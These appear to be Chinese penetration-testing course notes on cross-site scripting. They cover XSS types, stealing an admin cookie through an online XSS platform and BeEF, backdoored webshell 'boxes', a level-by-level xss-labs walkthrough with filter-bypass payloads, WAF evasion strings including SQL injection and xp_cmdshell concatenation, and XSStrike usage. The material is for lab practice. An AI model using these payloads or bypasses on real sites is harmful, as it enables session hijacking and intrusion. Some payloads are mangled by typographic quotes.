P25.XSS 跨站之原理分类及攻击手法
前言
XSS 跨站漏洞
1. XSS简介
跨站脚本攻击是指恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。
攻击者利用XSS漏洞旁路掉访问控制——例如同源策略(same origin policy)。这种类型的漏洞由于被黑客用来编写危害性更大的网络钓鱼(Phishing)攻击而变得广为人知。对于跨站脚本攻击,黑客界共识是:跨站脚本攻击是新型的“缓冲区溢出攻击“,而JavaScript是新型的“ShellCode”。
xss漏洞通常是通过php的输出函数将javascript代码输出到html页面中,通过用户本地浏览器执行的,所以xss漏洞关键就是寻找参数未过滤的输出函数。
2. 产生层面
产生层面一般都是在前端,JavaScript代码能干什么,执行之后就会达到相应的效果
3. 函数类
比如说php中的脚本的输出函数
常见的输出函数有:print、print_r、echo、printf、sprintf、die、var_dump、var_export
4. 漏洞操作对应层
5. 危害影响
- 盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号
- 控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
- 盗窃企业重要的具有商业价值的资料
- 非法转账
- 强制发送电子邮件
- 网站挂马
- 控制受害者机器向其它网站发起攻击
6. 浏览器内核版本
利用这个漏洞需要浏览器版本和内核没有过滤XSS攻击
7. 常出现场景
文章发表、评论、留言、注册资料的地方、修改资料的地方等
XSS 跨站漏洞分类:
1. 反射型
<非持久化> 攻击者事先制作好攻击链接, 需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。
发包 x=xiaodi => x.php => 回包
2. 储存型
<持久化> 代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,每当有用户访问该页面的时候都会触发代码执行,这种XSS非常危险,容易造成蠕虫,大量盗窃cookie(虽然还有种DOM型XSS,但是也还是包括在存储型XSS内)。
发包 x=xiaodi => x.php => 写道数据库某个表 => x.php =>回显
3. DOM型
基于文档对象模型Document Objeet Model,DOM)的一种漏洞。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有很多对象,其中一些是用户可以操纵的,如uRI ,location,refelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM XSS漏洞。
发包 x=xiaodi => 本地浏览器静态前端代码 =x.php
#’ οnclick=“alert(2)”>
HTML DOM 定义了访问和操作 HTML 文档的标准方法。DOM 将 HTML 文档表达为树结构。
W3C 文档对象模型 (DOM) 是中立于平台和语言的接口,它允许程序和脚本动态地访问和更新文档的内容、结构和样式。W3C DOM 标准被分为 3 个不同的部分:核心 DOM - 针对任何结构化文档的标准模型XML DOM - 针对 XML 文档的标准模型HTML DOM - 针对 HTML 文档的标准模型我们主要来看HTML DOM HTML DOM 是:HTML 的标准对象模型HTML 的标准编程接口W3C 标准DOM 节点根据 W3C 的 HTML DOM 标准,HTML 文档中的所有内容都是节点:整个文档是一个文档节点每个 HTML 元素是元素节点HTML 元素内的文本是文本节点每个 HTML 属性是属性节点注释是注释节点。
XSS 漏洞原理(转自此博客)
1.反射型(get)
首先我们会用到我们的pikachu靶场
1.这里我们打开反射型的xss靶场输入如果在对话框里面输入不了这么字符我们可以去更改网页的属性
或者在地址栏里面直接输入
通过邮件方式发送给用户,诱导用户去点击,这就是非存储形式的 XSS。
2.存储型的XSS
- 存储型的xss一般存在于留言的地方但和反射型的最大区别是没打开一次留言都会自动弹出我们的js脚本也会一直攻击
这个是把提交的脚本插入到数据库里面,所以这个是存储型的攻击方式。
3.DOM型
DOM型是直接调用前段静态代码#'οnclick=“alcrt(2)”>
当我输入111时在数据包中发现
是传输的这个值,但后续继续点击这两个链接最开始所传输的值并没有改变也没有增加其他的数据包
由此可以看出DOM型是通过前段静态代码来实现的也是前段进行注入
区别
DOM是属于用js代码进行处理(可直接通过查看代码进行判断是否属于DOM型)前者是属于后端语言进行数据处理的
什么是cookie,和Session的区别又是什么
1.Cookie 和 Session都是用来跟踪浏览器用户身份的会话方式,但是两者的应用场景不太一样。Cookie 一般用来保存用户信息 比如
①我们在 Cookie 中保存已经登录过得用户信息,下次访问网站的时候页面可以自动帮你填写登录的一些基本信息;
②一般的网站都会有保持登录也就是说下次你再访问网站的时候就不需要重新登录了,这是因为用户登录的时候我们可以存放了一个 Token 在 Cookie 中,下次登录的时候只需要根据 Token 值来查找用户即可(为了安全考虑,重新登录一般要将 Token 重写);
③登录一次网站后访问网站其他页面不需要重新登录。Session 的主要作用就是通过服务端记录用户的状态。典型的场景是购物车,当你要添加商品到购物车的时候,系统不知道是哪个用户操作的,因为 HTTP 协议是无状态的。服务端给特定的用户创建特定的Session 之后就可以标识这个用户并且跟踪这个用户了。Cookie 数据保存在客户端(浏览器端),Session 数据保存在服务器端。Cookie 存储在客户端中,而Session存储在服务器上,相对来说 Session 安全性更高。如果使用 Cookie的一些敏感信息不要写入 Cookie 中,最好能将 Cookie 信息加密然后使用到的时候再去服务器端解密。
2.用户凭据:通过凭据可以判断对方身份信息
cookie 存储本地 存活时间较长 小中型
session 会话 存储服务器 存活时间较短 大型
session会占用服务器的资源,但是比较安全。比如说javaweb中的session序列化和反序列化。
常用测试语句语句
<script language='javascript'>alert('test!');</script>
<script>alert('test')</script>
<svg/onload=alert(1)> "> <svg/onload=alert(1)// onfocus=javascript:alert(2) " onmouseover="prompt('xss')" bad=
涉及资源
xxs-labs靶场:https://github.com/do0dl3/xss-labs
随意多功能留言板系统: http://down.chinaz.com/soft/37581.htm
案例演示
XSS平台使用
-
注册
-
新创建一个我的项目
-
选择自己需要的功能,打钩
-
查看代码
-
把这些跨站代码弄到目标攻击的网站
-
等管理员查看后台留言板的时候
-
发现请求了这个地址。在平台上就有信息了
P26.xss跨站之订单及Shell箱子反杀
订单系统
1.下载军锋真人cs野战的源码,http://js.down.chinaz.com/201202/jfdd_v2.0.zip
2本系统是单用户挂号查询系统,用户名和密码可以在初始化的时候自己设定,用户名和密码保存在config.php中,安装完可以自行修改。安装前,请必须确认根目录的config.php文件可写然后在地址栏目输入安装地址 127.0.0.1/jfdd/install.php 一步步的安装.
3.通过部署我们发现我们可以在订单界面输入我们的xss脚本,然后再由管理员去打开,实现我们的xss渗透
这里我们用管理员去查看订单时,我们的xss脚本就已经插入了进去
接下来我们使用网上的xss平台我们去获取管理员的cookie
现在平台上是没有任何的数据的接来下我们就去前段插入代码
这是我们发现我们的xss脚本已经插入了进去并且用管理员打开
我们再去xss平台查看是否已经截取成功管理员的cookie并且带有页面的截图
然后我们使用postman进行连接
当我们不使用cookie登录返回的是这个内容
我们使用cookie直接就是返回了我们的后台,所以我们只要获取到了管理员cookie和后台地址就可以利用cookie进行登录
shell箱子
利用在webshell程序中,植入后门,形成“黑吃黑”,用有后门的木马入侵的网站也就被木马制造者利用。
-
搭建一个asp的服务器,我们这里选用小旋风进行搭建http://lt.yx12345.com:90/yasuobao/jyx12345xiaoxuanfenglinshiaspfuwuqiminiban.zip下载完成后解压到虚拟机里面。
-
2.默认端口为80 如果80端口被占用或不想用80可用记事本打开mian.boX修改至你要的端口。
3.将下载好的webshull箱子放在搭建好的服务器里面
将他原有的index.asp改为webshell的网页
4.打开webshell
首先去GitHub上去找一个webshell后门
然后写入我们自己的后门
$password='admin';$url=$SERVER['HTTP_HOST'].$SERVER['PHP_SELF'];echo "";
这时我们就打开webshell箱子发现我们的后门了
BEEF安装和使用
新版本的没有自带beef所以我们就要去下载
1.首先输入以下命令
apt-get install beef-xss
执行完以后会发现有部分软件包无法下载,我们只需要根据提示,输入更新命令即可
2.根据提示输入以下命令
apt-get update
3.再次输入安装命令
apt-get install beef-xss
4.安装apt–fix–broken install
apt --fix-broken install
5.输入beef-xss启动
6.如何攻击
输入这个命令就可以进行攻击
在在线订单系统里面输入代码
然后就可以去beef控制界面进行查看了
然后我们就可以进行攻击
资源
xxs站点:https://xss8.cc/
postman:https://www.postman.com/downloads/
webshell收集:https://github.com/tennc/webshell
websell箱子系统:https://pan.baidu.com/s/13H4N1VTBVwd3t8YWpECBFw 提取码xiao
案例演示
xss-labs靶场演示
xss-labs靶场搭建
通关手册:https://blog.csdn.net/wo41ge/article/details/107459332
https://blog.csdn.net/weixin_43669045/article/details/107932942
靶场项目地址:https://codeload.github.com/do0dl3/xss-labs/zip/refs/heads/master
level1
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level2.php?keyword=test";
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
在上面的代码中可以看到传入参数name
将传入的参数替换为js代码执行
level2
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level3.php?writing=wait";
}
</script>
<title>欢迎来到level2</title>
</head>
<body>
<h1 align=center>欢迎来到level2</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
<center><img src=level2.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
因为内容被嵌套在表单中的value属性内<input type=submit name=submit value="搜索"/>
所以需要先闭合input标签,">把前面的input标签闭合
,然后在注入代码,闭合标签。最终构成以下代码
123">
level3
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src=level3.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
后端利用htmlspecialchars()函数会将特殊字符进行转义,这里无法采用标签,因为标签都是带有”<"的。但该函数不会转义单引号,可以采用事件闭合标签.
playload: ’ οnclick='alert(1)
level4
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level4.png></center>
<?php
可以看到的是<>都被替换为空,也就没法采用标签闭合的方式 C
level5
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
限制了script和on字符---->替换成scr_pt 和o_n ,使用a标签的js伪协议实现href属性支持javascript:伪协议构造poc 产生一个链接
"> <a href=javascript:alert(‘xss’) > xss //
level6
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level6.png></center>
<?php
限制了一系列的字符 但进行判断的是整个字符串,但是没有进行大小写绕过。
">
level7
<?php
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level7.png></center>
<?php
限制了一系列的字符 大小写无法绕过,但因为只是替换,可以双写绕过。
">alert(1)
level8
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
https://www.matools.com/code-convert-unicode
javascript:alert(1)
level9
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
<center><img src=level9.png></center>
<?php
通关代码if(false===strpos($str7,'http://'))
判断是否包含http://然后返回,也就是说这里不能直接使用http://,因此这里要采用编码
javascript:alert(1)//http://
level10
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level10.png></center>
<?php
看到这个就知道是要测试出要提交的是哪一个表单,由于源码中我们已经知道是通过t_sort
表单提交的数据。
?keyword=&t_sort=" type=“text” οnclick="alert(‘xss’)
level11
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level11.png></center>
<?php
这一关卡和上面的一关非常的像多了一个input表单的信息,在服务器端还将请求头中的referer头的值赋给了str11这个变量,$_SERVER[‘HTTP_REFERER’] #链接到当前页面的前一页面的 URL 地址,也就是说这里可以做点文章。在将变量值中的<和>删除之后就会插入到t_ref这个标签的value属性值中。而上一关的t_sort标签虽然也能接收并显示参数值,但是这个参数值是要用htmlspecialchars()函数处理的。
抓包分析
可以看到的是数据包中没得关于refer的信息我们构造一个refer的数据包发送出去
构造payload代码
referer:"type=“text” οnclick="alert(‘xss’)
<input name=“t_ref” value=""type=“text” οnclick=“alert(‘xss’)” type=“hidden”>
level12
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level12.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
用户访问服务器时,利用PHP的超级全局变量$_SERVER数组中字段['HTTP_USER_AGENT'] 获取访问用户的所有信息
通过http头获取user-agent字段的值作为t_ua的value,利用burp抓包,修改http的头部的user-agent字段。
正常抓包执行
修改user-agent信息
user-agent: t_sort=2" οnclick=“alert(1)” type=“text”
level13
<?php
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level13.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
通过http头获取cookie字段的值作为t_cook的value,利用burp抓包,修改http的头部cookie字段。
正常抓包
修改数据包
cookie: user=2" οnclick=“alert(1)” type=“text”
level14
<html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<title>欢迎来到level14</title>
</head>
<body>
<h1 align=center>欢迎来到level14</h1>
<center><iframe name="leftframe" marginwidth=10 marginheight=10 src="http://www.exifviewer.org/" frameborder=no width="80%" scrolling="no" height=80%></iframe></center><center>这关成功后不会自动跳转。成功者<a href=/xss/level15.php?src=1.gif>点我进level15</a></center>
</body>
</html>
漏洞描述:修改iframe调用的文件来实现xss注入(但因为iframe调用的文件地址失效,无法进行测试
level15
<html ng-app>
<head>
<meta charset="utf-8">
<script src="angular.min.js"></script>
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level16.php?keyword=test";
}
</script>
<title>欢迎来到level15</title>
</head>
<h1 align=center>欢迎来到第15关,自己想个办法走出去吧!</h1>
<p align=center><img src=level15.png></p>
<?php
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>
从源码中可以看到的是传递参数src
1、ng-include 指令用于包含外部的 HTML文件。
2、包含的内容将作为指定元素的子节点。
3、ng-include 属性的值可以是一个表达式,返回一个文件名。
4、默认情况下,包含的文件需要包含在同一个域名下。
特别值得注意的几点如下:
1.ng-include,如果单纯指定地址,必须要加引号
2.ng-include,加载外部html,script标签中的内容不执行
3.ng-include,加载外部html中含有style标签样式可以识别
构造函数
?src='level1.php?name=<img src=1 onerror=alert(1)>'
因为这里参数值算是一个地址,所以需要添加引号。
但是level1.php不是一个php文件吗?
这里解释一下
这是因为我们不是单纯的去包含level1.php,而是在后面添加了name参
数值的。这就有点像是在访问了该参数值中地址之后把它响应在浏览器端的
html文件给包含进来的意思。
level16
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script"," ",$str);
$str3=str_replace(" "," ",$str2);
$str4=str_replace("/"," ",$str3);
$str5=str_replace(" "," ",$str4);
echo "<center>".$str5."</center>";
?>
<center><img src=level16.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str5)."</h3>";
?>
将参数值中的script替换成
将参数值中的空格也替换成
将参数值中的/符号替换成
绕过思路:可以用回车来将它们分开。
<img%0Asrc=1%0Aonerror=alert(1)>
<img%0Asrc=1%0Aοnerrοr=alert(1)>
jfdd靶场
注册xss平台账号,当然也可以自己搭建https://xss8.cc/register/,这样的在线网站可以帮我们接受网站的cookie,也就是说我们可以通过在线的xss平台作为第三方工具盗取网站信息,同时也存在一些问题就是我们的渗透测试的过程当中我们获取的网站信息有可能会被这些平台白嫖,还有就是我们在网上下载的xss(或者是其他工具)很有可能是带后门的。
由于上面的靶场,各种各样的问题导致环境根本无法运行起来,我也没找到合适的替代靶场只有先截图和文字记录。
P27.xss跨站之代码及httponly绕过
1.什么是HttpOnly?——>HttpOnly介绍
如果HTTP响应头中包含HttpOnly标志,只要浏览器支持HttpOnly标志,客户端脚本就无法访问cookie。因此,即使存在跨站点脚本(XSS)缺陷,且用户意外访问利用此漏洞的链接,浏览器也不会向第三方透露cookie。如果浏览器不支持HttpOnly并且网站尝试设置HttpOnly cookie,浏览器会忽略HttpOnly标志,从而创建一个传统的,脚本可访问的cookie。
如果您在cookie中设置了HttpOnly属性,那么通过js脚本将无法读取到cookie信息,这样能有效的防止XSS攻击,但是并不能防止xss漏洞只能是防止cookie被盗取。
2.javaEE的API是否支持?
目前sun公司还没有公布相关的API,但PHP、C#均有实现。搞javaEE的兄弟们比较郁闷了,
别急下文有变通实现
3.HttpOnly的设置样例
javaee
response.setHeader("Set-Cookie", "cookiename=value;Path=/;Domain=domainvalue;Max-Age=seconds;HTTPOnly");
具体参数的含义再次不做阐述,设置完毕后通过js脚本是读不到该cookie的,但使用如下方式可以读取Cookie cookies[]=request.getCookies();
C#
HttpCookie myCookie = new HttpCookie("myCookie");myCookie.HttpOnly = true;Response.AppendCookie(myCookie);
VB.NET
Dim myCookie As HttpCookie = new HttpCookie("myCookie")myCookie.HttpOnly = TrueResponse.AppendCookie(myCookie)
但是在 .NET 1.1 ,中您需要手动添加
Response.Cookies[cookie].Path += ";HTTPOnly";
PHP4
header("Set-Cookie: hidden=value; httpOnly");
PHP5
setcookie("abc", "test", NULL, NULL, NULL, NULL, TRUE)
最后一个参数为HttpOnly属性
参考资料:
http://www.owasp.org/index.php/HTTPOnly
转自:http://yzd.iteye.com/blog/787190
http://www.oschina.net/question/100267_65116
将cookie设置成HttpOnly是为了防止XSS攻击,窃取cookie内容,这样就增加了cookie的安全性,即便是这样,也不要将重要信息存入cookie。
如何在Java中设置cookie是HttpOnly呢?
Servlet 2.5 API 不支持 cookie设置HttpOnly http://docs.oracle.com/cd/E17802_01/products/products/servlet/2.5/docs/servlet-2_5-mr2/
建议升级Tomcat7.0,它已经实现了Servlet3.0http://tomcat.apache.org/tomcat-7.0-doc/servletapi/javax/servlet/http/Cookie.html但是苦逼的是现实是,老板是不会让你升级的。
那就介绍另外一种办法:
利用HttpResponse的addHeader方法,设置Set-Cookie的值cookie字符串的格式:key=value; Expires=date; Path=path; Domain=domain; Secure; HttpOnly
//设置cookieresponse.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly");//设置多个cookieresponse.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly");response.addHeader("Set-Cookie", "timeout=30; Path=/test; HttpOnly");//设置https的cookieresponse.addHeader("Set-Cookie", "uid=112; Path=/; Secure; HttpOnly")
在实际使用中,我们可以使FireCookie查看我们设置的Cookie 是否是HttpOnly
4、使用HttpOnly减轻最常见的[XSS攻击]
根据微软Secure Windows Initiative小组的高级安全项目经理Michael Howard的说法,大多数XSS攻击的目的都是盗窃cookie。服务端可以通过在它创建的cookie上设置HttpOnly标志来缓解这个问题,指出不应在客户端上访问cookie。客户端脚本代码尝试读取包含HttpOnly标志的cookie,如果浏览器支持HttpOnly,则返回一个空字符串作为结果。这样能够阻止恶意代码(通常是XSS攻击)将cookie数据发到攻击者网站。
5、用好[Web应用防火墙]
如果代码更改不可行或成本太高,可以使用Web应用程序防火墙将HttpOnly添加到会话cookieMod_security - using SecRule and Header directivesESAPI WAF - using add-http-only-flag directive支持HttpOnly的主流浏览器有哪些呢?谷歌了一下,常见的浏览器都支持。
httponly绕过
浏览器保存帐号密码:可以直接拿账号密码,cookie登录.
浏览器未保存读取密码:需要xss产生于登录地址,利用表单劫持浏览器保存账号面:产生在后台的XSS,例如存储型XSS
案例xss练习靶场**
见上
P28.xss跨站之waf绕过及安全修复
常规WAF绕过思路WAF分类
- 0x01 云waf在配置云waf时(通常是CDN包含的waf),DNS需要解析到CDN的ip上去,在请求uri时,数据包就会先经过云waf进行检测,如果通过再将数据包流给主机。
- 0x02 主机防护软件在主机上预先安装了这种防护软件,可用于扫描和保护主机(废话),和监听web端口的流量是否有恶意的,所以这种从功能上讲较为全面。这里再插一嘴,mod_security、ngx-lua-waf这类开源waf虽然看起来不错,但是有个弱点就是升级的成本会高一些。
- 0x03 硬件ips/ids防护、硬件waf使用专门硬件防护设备的方式,当向主机请求时,会先将流量经过此设备进行流量清洗和拦截,如果通过再将数据包流给主机
WAF身份认证阶段的绕过
WAF有一个白名单,在白名单内的客户请求将不做检测
0x01 伪造搜索引擎
早些版本的安全狗是有这个漏洞的,就是把User-Agent修改为搜索引擎,便可以绕过,进行sql注入等攻击,这里推荐一个谷歌插件,可以修改User-Agent,叫User-Agent Switcher
0x02 伪造白名单特殊目录
360webscan脚本存在这个问题,就是判断是否为admin dede install等目录,如果是则不做拦截,
比如GET /pen/news.php?id=1 union select user,password from mysql.user可以改为GET /pen/news.php/admin?id=1 union select user,password from mysql.user或者GET /pen/admin/…\news.php?id=1 union select user,password from mysql.user
0x03 直接攻击源站
这个方法可以用于安全宝、加速乐等云WAF,云WAF的原理通过DNS解析到云WAF,访问网站的流量要经过指定的DNS服务器解析,然后进入WAF节点进行过滤,最后访问原始服务器,如果我们能通过一些手段(比如c段、社工)找到原始的服务器地址,便可以绕过。
WAF数据包解析阶段的绕过
0x01
编码绕过最常见的方法之一,可以进行urlencode。
0x02
修改请求方式绕过大家都知道cookie中转注入,最典型的修改请求方式绕过,很多的asp,aspx网站都存在这个问题,有时候WAF对GET进行了过滤,但是Cookie甚至POST参数却没有检测。还有就是参数污染,典型例子就是multipart请求绕过,在POST请求中添加一个上传文件,绕过了绝大多数WAF。
0x03
复参数绕过例如一个请求是这样的GET /pen/news.PHP?id=1 union select user,password from MySQL.user可以修改为GET /pen/news.php?id=1&id=union&id=select&id=user,password&id=from%20mysql.user很多WAF都可以这样绕
WAF触发规则的绕过
WAF在这里主要是针对一些特殊的关键词或者用法进行检测。绕过方法很多,也是最有效的。
0x01
特殊字符替换空格用一些特殊字符代替空格,比如在mysql中%0a是换行,可以代替空格,这个方法也可以部分绕过最新版本的安全狗,在sqlserver中可以用/**/代替空格
0x02
特殊字符拼接把特殊字符拼接起来绕过WAF的检测,比如在Mysql中,可以利用注释/**/来绕过,在mssql中,函数里面可以用+来拼接,例如GET /pen/news.php?id=1;exec(master..xp_cmdshell 'net user')可以改为GET /pen/news.php?id=1; exec('maste'+'r..xp'+'_cmdshell'+'"net user"')
0x03
注释包含关键字在mysql中,可以利用/!/包含关键词进行绕过,在mysql中这个不是注释,而是取消注释的内容。例如,GET /pen/news.php?id=1 union select user,password from mysql.user可以改为GET /pen/news.php?id=1 /!union/ /!select/ user,password /!from/ mysql.user
XSS绕过WAF方法总结
1、script标签
1.2 JavaScript 事件
1.3 行内样式(Inlinestyle)
1.4 CSS import
1.5 Javascript URL
1.6 利用字符编码
1.7 绕过长度限制
1.8 使用标签
2.2.1 如果大小写不行的话,被过滤
尝试 <script>alert(1)</script>;
2.2.2使用标签
测试<a href=“ http://www.google.com">Clickme<a被过滤?href被过滤?其他内容被过滤?如果没有过滤尝试使用Clickme尝试使用错误的事件查看过滤<a href=" rhainfosec.com"onclimbatree =alert(1)>ClickHereHTML5拥有150个事件处理函数,可以多尝试其他函数<body/οnhashchange=alert(1)>clickit
2.3 测试其他标签
2.4 基于上下文的过滤
WAF最大的问题是不能理解内容,使用黑名单可以阻挡独立的js脚本,但仍不能对xss提供足够的保护,如果一个反射型的XSS是下面这种形式
2.4.1 输入反射属性
2.4.4 变形
2.4.6 输入反射在svg标签内
2.4.7 字符集BUG
2.4.8 空字节
最长用来绕过mod_security防火墙,形式如下:<scri%00pt>alert(1);</scri%00pt><scri\x00pt>alert(1);</scri%00pt><s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t>空字节只适用于PHP 5.3.8以上的版本
2.4.9 语法BUG
2.4.10Unicode分隔符
2.4.11缺少X-frame选项
2.4.12Window.name欺骗
2.4.13ModSecurity绕过
2.4.14WEB KNIGHT绕过
安全修复方案
开启httponly,输入过滤,输出过滤等
php:http://www.zuimoge.com/212.html
JAVA:http://www.cnblongs.com/baixiansheng/p/9001522.html
自动化xss绕过waf测试演示
XSStrike
下载安装
下载地址:https://github.com/s0md3v/XSStrike
最新版支持python3windows、linux系统都可以运行完成下载之后,
进入XSStrike目录:
cd XSStrikepip install -r requirements.txt
使用方法
1.测试一个使用GET方法的网页:
2.测试POST数据:
python xsstrike.py -u "http://192.168.195.128/xss-labs/level1.php?name=test" --data "q=query"python xsstrike.py -u "http://192.168.195.128/xss-labs/level1.php?name=test" --data '{"q":"query"} --json'
3.测试URL路径:
python xsstrike.py -u "http://192.168.195.128/xss-labs/level1.php?name=test" -- path
4.从目标网页开始搜寻目标并进行测试
python xsstrike.py -u "http://192.168.195.128/xss-labs/level1.php?name=test" -- crawl
您可以指定爬网的深度,默认2:-l
python3 xsstrike.py -u “http://192.168.195.128/xss-labs/level1.php?name=test” --crawl -l 35.如果要测试文件中的URL,或者只是想添加种子进行爬网,则可以使用该 --seeds 选项:
python xsstrike.py --seeds urls.txt
6.查找隐藏的参数:
通过解析HTML和暴力破解来查找隐藏的参数
